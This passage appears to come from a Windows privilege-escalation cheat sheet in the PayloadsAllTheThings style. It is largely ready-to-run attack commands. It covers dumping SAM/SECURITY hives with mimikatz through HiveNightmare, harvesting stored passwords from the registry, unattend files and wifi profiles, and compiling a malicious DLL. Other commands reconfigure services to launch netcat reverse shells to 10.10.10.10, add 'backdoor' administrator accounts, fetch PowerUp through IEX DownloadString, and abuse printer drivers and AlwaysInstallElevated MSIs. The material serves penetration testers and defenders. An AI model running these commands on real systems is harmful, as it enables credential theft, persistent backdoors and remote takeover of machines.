+%SYSTEMROOT%\repair\system +%SYSTEMROOT%\System32\config\SYSTEM +%SYSTEMROOT%\System32\config\RegBack\system +``` + +Generate a hash file for John using `pwdump` or `samdump2`. + +```powershell +pwdump SYSTEM SAM > /root/sam.txt +samdump2 SYSTEM SAM -o sam.txt +``` + +Either crack it with `john -format=NT /root/sam.txt`, [hashcat](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md#hashcat) or use Pass-The-Hash. + +### HiveNightmare + +> CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user + +Check for the vulnerability using `icacls` + +```powershell +C:\Windows\System32> icacls config\SAM +config\SAM BUILTIN\Administrators:(I)(F) + NT AUTHORITY\SYSTEM:(I)(F) + BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access! +``` + +Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it. + +```powershell +mimikatz> token::whoami /full + +# List shadow copies available +mimikatz> misc::shadowcopies + +# Extract account from SAM databases +mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM + +# Extract secrets from SECURITY +mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY +``` + +### LAPS Settings + +Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry. + +* LAPS Enabled: AdmPwdEnabled +* LAPS Admin Account Name: AdminAccountName +* LAPS Password Complexity: PasswordComplexity +* LAPS Password Length: PasswordLength +* LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled + +### Search for file contents + +```powershell +cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt +findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt +findstr /spin "password" *.* +``` + +Also search in remote places such as SMB Shares and SharePoint: + +* Search passwords in SharePoint: [nheiniger/SnaffPoint](https://github.com/nheiniger/SnaffPoint) (must be compiled first, for referencing issue see: [Pull #6](https://github.com/nheiniger/SnaffPoint/pull/6)) + +```powershell +# First, retrieve a token +## Method 1: using SnaffPoint binary +$token = (.\GetBearerToken.exe https://your.sharepoint.com) +## Method 2: using AADInternals +Install-Module AADInternals -Scope CurrentUser +Import-Module AADInternals +$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "your.onmicrosoft.com" -Resource "https://your.sharepoint.com") + +# Second, search on Sharepoint +## Method 1: using search strings in ./presets dir +.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token +## Method 2: using search string in command line +### -l uses FQL search, see: https://learn.microsoft.com/en-us/sharepoint/dev/general-development/fast-query-language-fql-syntax-reference +.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token -l -q "filename:.config" +``` + +* Search passwords in SMB Shares: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler) + +### Search for a file with a certain filename + +```powershell +dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* +where /R C:\ user.txt +where /R C:\ *.ini +``` + +### Search the registry for key names and passwords + +```powershell +REG QUERY HKLM /F "password" /t REG_SZ /S /K +REG QUERY HKCU /F "password" /t REG_SZ /S /K + +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" +reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters +reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials +reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials +reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password + +reg query HKLM /f password /t REG_SZ /s +reg query HKCU /f password /t REG_SZ /s +``` + +### Passwords in unattend.xml + +Location of the unattend.xml files. + +```powershell +C:\unattend.xml +C:\Windows\Panther\Unattend.xml +C:\Windows\Panther\Unattend\Unattend.xml +C:\Windows\system32\sysprep.inf +C:\Windows\system32\sysprep\sysprep.xml +``` + +Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`. + +Example content + +```powershell + + + U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo== + true + Administrateur + + + + + + *SENSITIVE*DATA*DELETED* + administrators;users + Administrateur + + + +``` + +Unattend credentials are stored in base64 and can be decoded manually with base64. + +```powershell +$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d +SecretSecurePassword1234* +``` + +The Metasploit module `post/windows/gather/enum_unattend` looks for these files. + +### IIS Web config + +```powershell +Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue +``` + +```powershell +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config +C:\inetpub\wwwroot\web.config +``` + +### Other files + +```bat +%SYSTEMDRIVE%\pagefile.sys +%WINDIR%\debug\NetSetup.log +%WINDIR%\repair\sam +%WINDIR%\repair\system +%WINDIR%\repair\software, %WINDIR%\repair\security +%WINDIR%\iis6.log +%WINDIR%\system32\config\AppEvent.Evt +%WINDIR%\system32\config\SecEvent.Evt +%WINDIR%\system32\config\default.sav +%WINDIR%\system32\config\security.sav +%WINDIR%\system32\config\software.sav +%WINDIR%\system32\config\system.sav +%WINDIR%\system32\CCM\logs\*.log +%USERPROFILE%\ntuser.dat +%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat +%WINDIR%\System32\drivers\etc\hosts +C:\ProgramData\Configs\* +C:\Program Files\Windows PowerShell\* +dir c:*vnc.ini /s /b +dir c:*ultravnc.ini /s /b +``` + +### Wifi passwords + +Find AP SSID + +```bat +netsh wlan show profile +``` + +Get Cleartext Pass + +```bat +netsh wlan show profile key=clear +``` + +Oneliner method to extract wifi passwords from all the access point. + +```batch +cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on +``` + +### Sticky Notes passwords + +The sticky notes app stores it's content in a sqlite db located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` + +### Passwords stored in services + +Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher) + +```powershell +https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1 +Import-Module path\to\SessionGopher.ps1; +Invoke-SessionGopher -AllDomain -o +Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss +``` + +### Passwords stored in Key Manager + +:warning: This software will display its output in a GUI + +```ps1 +rundll32 keymgr,KRShowKeyMgr +``` + +### Powershell History + +Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`. + +```powershell +type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt +type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt +type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt +cat (Get-PSReadlineOption).HistorySavePath +cat (Get-PSReadlineOption).HistorySavePath | sls passw +``` + +### Powershell Transcript + +```xml +C:\Users\\Documents\PowerShell_transcript....txt +C:\Transcripts\\PowerShell_transcript....txt +``` + +### Password in Alternate Data Stream + +```ps1 +PS > Get-Item -path flag.txt -Stream * +PS > Get-Content -path flag.txt -Stream Flag +``` + +## EoP - Processes Enumeration and Tasks + +* What processes are running? + + ```powershell + tasklist /v + net start + sc query + Get-Service + Get-Process + Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize + ``` + +* Which processes are running as "system" + + ```powershell + tasklist /v /fi "username eq system" + ``` + +* Do you have powershell magic? + + ```powershell + REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion + ``` + +* List installed programs + + ```powershell + Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime + Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name + ``` + +* List services + + ```powershell + net start + wmic service list brief + tasklist /SVC + ``` + +* Enumerate scheduled tasks + + ```powershell + schtasks /query /fo LIST 2>nul | findstr TaskName + schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM + Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State + ``` + +* Startup tasks + + ```powershell + wmic startup get caption,command + reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R + reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run + reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce + dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" + dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" + ``` + +## EoP - Incorrect permissions in services + +> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system. + +Often, services are pointing to writable locations: + +* Orphaned installs, not installed anymore but still exist in startup +* DLL Hijacking + + ```powershell + # find missing DLL + - Find-PathDLLHijack PowerUp.ps1 + - Process Monitor : check for "Name Not Found" + + # compile a malicious dll + - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll" + - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll" + + # content of windows_dll.c + #include + BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { + if (dwReason == DLL_PROCESS_ATTACH) { + system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt"); + ExitProcess(0); + } + return TRUE; + } + ``` + +* PATH directories with weak permissions + + ```powershell + $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt + $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" + + $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt + FOR /F %i in (Servicenames.txt) DO echo %i + type Servicenames.txt + FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt + FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt + ``` + +Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions` + +Note to check file permissions you can use `cacls` and `icacls` +> icacls (Windows Vista +) +> cacls (Windows XP) + +You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output. + +### Example with Windows 10 - CVE-2019-1322 UsoSvc + +Prerequisite: Service account + +```powershell +PS C:\Windows\system32> sc.exe stop UsoSvc +PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe" +PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe" +PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe" +PS C:\Windows\system32> sc.exe qc usosvc +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: usosvc + TYPE : 20 WIN32_SHARE_PROCESS + START_TYPE : 2 AUTO_START (DELAYED) + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : Update Orchestrator Service + DEPENDENCIES : rpcss + SERVICE_START_NAME : LocalSystem + +PS C:\Windows\system32> sc.exe start UsoSvc +``` + +### Example with Windows XP SP1 - upnphost + +```powershell +# NOTE: spaces are mandatory for this exploit to work ! +sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe" +sc config upnphost obj= ".\LocalSystem" password= "" +sc qc upnphost +sc config upnphost depend= "" +net start upnphost +``` + +If it fails because of a missing dependency, try the following commands. + +```powershell +sc config SSDPSRV start=auto +net start SSDPSRV +net stop upnphost +net start upnphost + +sc config upnphost depend="" +``` + +Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe) + +```powershell +$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula +RW SSDPSRV + SERVICE_ALL_ACCESS +RW upnphost + SERVICE_ALL_ACCESS + +$ accesschk.exe -ucqv upnphost +upnphost + RW NT AUTHORITY\SYSTEM + SERVICE_ALL_ACCESS + RW BUILTIN\Administrators + SERVICE_ALL_ACCESS + RW NT AUTHORITY\Authenticated Users + SERVICE_ALL_ACCESS + RW BUILTIN\Power Users + SERVICE_ALL_ACCESS + +$ sc config binpath="net user backdoor backdoor123 /add" +$ sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" +$ sc stop +$ sc start +$ sc config binpath="net localgroup Administrators backdoor /add" +$ sc stop +$ sc start +``` + +## EoP - Windows Subsystem for Linux (WSL) + +> With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ `.exe --default-user root`. Now start your bind shell or reverse. - [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032) + +```powershell +wsl whoami +./ubuntun1604.exe config --default-user root +wsl whoami +wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' +``` + +Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` + +Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` + +## EoP - Unquoted Service Paths + +The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first. + +```powershell +# in CMD +wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """ +wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """ +# in PowerShell +gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name +``` + +* Metasploit exploit : `exploit/windows/local/trusted_service_path` +* PowerUp exploit + + ```powershell + # find the vulnerable application + C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks" + + ... + [*] Checking for unquoted service paths... + ServiceName : BBSvc + Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe + StartName : LocalSystem + AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path + ... + + # automatic exploit + Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe" + ``` + +### Example + +For `C:\Program Files\something\legit.exe`, Windows will try the following paths first: + +* `C:\Program.exe` +* `C:\Program Files.exe` + +## EoP - $PATH Interception + +Requirements: + +* PATH contains a writable folder with low privileges. +* The writable folder is _before_ the folder that contains the legitimate binary. + +EXAMPLE: + +```powershell +# List contents of the PATH environment variable +# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32 +$env:Path + +# See permissions of the target folder +# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW +icacls.exe "C:\Program Files\nodejs\" + +# Place our evil-file in that folder. +copy evil-file.exe "C:\Program Files\nodejs\cmd.exe" +``` + +Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder. + +## EoP - Named Pipes + +1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")` +2. Check named pipes DACL: `pipesec.exe ` +3. Reverse engineering software +4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe` + +## EoP - Kernel Exploitation + +List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) + +### Security Bulletin Table + +| Security Bulletin | KB | Description | Operating System | +|------------------|-----------|-----------------------------------------------------|-----------------------------------------| +| [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017) | KB4013081 | GDI Palette Objects Local Privilege Escalation | Windows 7/8 | +| [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464) | - | LNK Remote Code Execution Vulnerability | Windows 10/8.1/7/2016/2010/2008 | +| [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213) | - | Windows COM Elevation of Privilege Vulnerability | Windows 10/8.1/7/2016/2010/2008 | +| [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833) | - | SMBv3 Null Pointer Dereference Denial of Service | Windows 8.1/Server 2012 R2 | +| [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120) | - | Win32k Elevation of Privilege Vulnerability | Windows 7 SP1/2008 SP2, 2008 R2 SP1 | +| [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010) | KB4013389 | Windows Kernel Mode Drivers | Windows 7/2008/2003/XP | +| [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) | KB3199135 | Windows Kernel Mode Drivers | 2016 | +| [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111) | KB3186973 | Kernel API | Windows 10 10586 (32/64)/8.1 | +| [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098) | KB3178466 | Kernel Driver | Windows 8.1 | +| [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075) | KB3164038 | Hot Potato | 2003/2008/7/8/2012 | +| [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034) | KB3143145 | Kernel Driver | 2008/7/8/10/2012 | +| [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032) | KB3143141 | Secondary Logon Handle | 2008/7/8/10/2012 | +| [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016) | KB3136041 | WebDAV | 2008/Vista/7 | +| [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014) | KB3134228 | Remote Code Execution | 2008/Vista/7 | +| [MS03-026](https://www.exploit-db.com/exploits/66) | KB823980 | Buffer Overrun In RPC Interface | NT/2000/XP/2003 | + +To cross compile a program from Kali, use the following command. + +```powershell +Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c +``` + +## EoP - Microsoft Windows Installer + +### AlwaysInstallElevated + +Using the `reg query` command, you can check the status of the `AlwaysInstallElevated` registry key for both the user and the machine. If both queries return a value of `0x1`, then `AlwaysInstallElevated` is enabled for both user and machine, indicating the system is vulnerable. + +* Shell command + + ```powershell + reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated + reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated + ``` + +* PowerShell command + + ```powershell + Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer + Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer + ``` + +Then create an MSI package and install it. + +```powershell +msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi +msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi +msiexec /quiet /qn /i C:\evil.msi +``` + +Technique also available in : + +* Metasploit : `exploit/windows/local/always_install_elevated` +* PowerUp.ps1 : `Get-RegistryAlwaysInstallElevated`, `Write-UserAddMSI` + +### CustomActions + +> Custom Actions in MSI allow developers to specify scripts or executables to be run at various points during an installation + +* [mgeeky/msidump](https://github.com/mgeeky/msidump) - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner. +* [activescott/lessmsi](https://github.com/activescott/lessmsi) - A tool to view and extract the contents of an Windows Installer (.msi) file. +* [mandiant/msi-search](https://github.com/mandiant/msi-search) - This tool simplifies the task for red team operators and security teams to identify which MSI files correspond to which software and enables them to download the relevant file. + +Enumerate products on the machine + +```ps1 +Get-WmiObject Win32_Product | Select Name, LocalPackage +wmic product get identifyingnumber,name,vendor,version,localpackage +``` + +Execute the repair process with the `/fa` parameter to trigger the CustomActions. +We can use both IdentifyingNumber `{E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1}` or path to the installer `c:\windows\installer\XXXXXXX.msi`. +The repair will run with the NT SYSTEM account. + +```ps1 +$installed = Get-WmiObject Win32_Product +$string= $installed | select-string -pattern "PRODUCTNAME" +$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}' +Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])" +``` + +Common mistakes in MSI installers: + +* Missing quiet parameters: it will spawn `conhost.exe` as `NT SYSTEM`. Use `[CTRL]+[A]` to select some text in it, it will pause the execution. + * conhost -> properties -> "legacy console mode" Link -> Internet Explorer -> CTRL+O –> cmd.exe +* GUI with direct actions: open a URL and start the browser then use the same scenario. +* Binaries/Scripts loaded from user writable paths: you might need to win the race condition. +* DLL hijacking/search order abusing +* PowerShell `-NoProfile` missing: Add custom commands into your profile + + ```ps1 + new-item -Path $PROFILE -Type file -Force + echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE + ``` + +## EoP - Insecure GUI apps + +Application running as SYSTEM allowing an user to spawn a CMD, or browse directories. + +Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" + +## EoP - Evaluating Vulnerable Drivers + +Look for vuln drivers loaded, we often don't spend enough time looking at this: + +* [Living Off The Land Drivers](https://www.loldrivers.io/) is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats. +* Native binary: DriverQuery.exe + + ```powershell + PS C:\Users\Swissky> driverquery.exe /fo table /si + Module Name Display Name Driver Type Link Date + ============ ====================== ============= ====================== + 1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM + 3ware 3ware Kernel 5/18/2015 6:28:03 PM + ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM + AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM + acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM + acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM + AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM + acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM + ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM + + ``` + +* [matterpreter/OffensiveCSharp/DriverQuery](https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery) + + ```powershell + PS C:\Users\Swissky> DriverQuery.exe --no-msft + [+] Enumerating driver services... + [+] Checking file signatures... + Citrix USB Filter Driver + Service Name: ctxusbm + Path: C:\Windows\system32\DRIVERS\ctxusbm.sys + Version: 14.11.0.138 + Creation Time (UTC): 17/05/2018 01:20:50 + Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US + Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US + + ``` + +## EoP - Printers + +### Universal Printer + +Create a Printer + +```ps1 +$printerName = 'Universal Priv Printer' +$system32 = $env:systemroot + '\system32' +$drivers = $system32 + '\spool\drivers' +$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName + +Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll') +Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll') +Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll') + +Add-PrinterDriver -Name 'Generic / Text Only' +Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared + +New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null +New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null +New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null +New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null +``` + +Execute the driver + +```ps1 +$serverName = 'dc.purple.lab' +$printerName = 'Universal Priv Printer' +$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'}) +Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue +Add-Printer -ConnectionName $fullprinterName +``` + +### PrinterNightmare + +```ps1 +git clone https://github.com/Flangvik/DeployPrinterNightmare +PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell +[<3] @Flangvik - TrustedSec +[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll +[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll +[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll +[+] Adding printer driver => Generic / Text Only! +[+] Adding printer => EasySystemShell! +[+] Setting 64-bit Registry key +[+] Setting 32-bit Registry key +[+] Setting '*' Registry key +``` + +```ps1 +PS C:\target> $serverName = 'printer-installed-host' +PS C:\target> $printerName = 'EasySystemShell' +PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'}) +PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue +PS C:\target> Add-Printer -ConnectionName $fullprinterName +``` + +### Bring Your Own Vulnerability + +[jacob-baines/concealed_position](https://github.com/jacob-baines/concealed_position) + +* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE +* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE +* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE +* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE + +```powershell +cp_server.exe -e ACIDDAMAGE +# Get-Printer +# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing" +cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE +cp_client.exe -l -e ACIDDAMAGE +``` + +## EoP - Runas + +Use the `cmdkey` to list the stored credentials on the machine. + +```powershell +cmdkey /list +Currently stored credentials: + 